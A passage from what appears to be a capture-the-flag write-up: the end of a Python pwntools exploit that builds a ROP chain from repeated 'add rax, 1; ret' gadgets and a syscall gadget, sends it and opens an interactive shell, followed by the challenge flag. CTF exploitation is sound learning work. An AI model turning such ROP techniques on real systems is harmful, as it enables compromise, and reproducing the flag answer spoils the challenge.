ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004013ea) # syscall print(r.recvuntil(b'[Y/n]')) r.sendline(p) r.interactive() r.close() ``` FLAG:AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}